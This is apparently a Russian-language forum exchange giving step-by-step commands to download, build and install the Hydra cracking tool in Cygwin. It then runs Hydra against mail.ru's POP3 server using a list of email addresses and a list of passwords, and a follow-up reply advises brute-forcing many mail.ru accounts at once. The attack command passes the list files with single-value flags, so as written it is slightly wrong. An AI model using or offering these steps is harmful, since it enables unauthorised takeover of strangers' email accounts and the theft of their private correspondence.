↑
Запускай снова установку cygwin, не удаляя, где Select Packages жмякай Devel выбрав напротив install, после установки, открой терминал cygwin пиши:
wget
http://www.thc.org/releases/hydra-8.1.tar.gz
tar xvzf hydra-8.1.tar.gz
cd hydra-8.1
./configure
make
make install
проверь установку набрав hydra -h
затем cd ~
ну а дальше переходи в папку C:\cygwin64\home\имя_пользователя\
кидай сюда mail.txt и pass.txt, в терминале забивай:
hydra -S -l mail.txt -p pass.txt -t 16 pop.mail.ru pop3

Можно ещё и GUI сделать, если есть время и желание.

Br@!ns
, подставлять то умеет, но представь куча списков-файлов на каждое отдельное мыло, проще сразу брут запустить скормив по отдельности список mail.ru.txt и пароли passwords.txt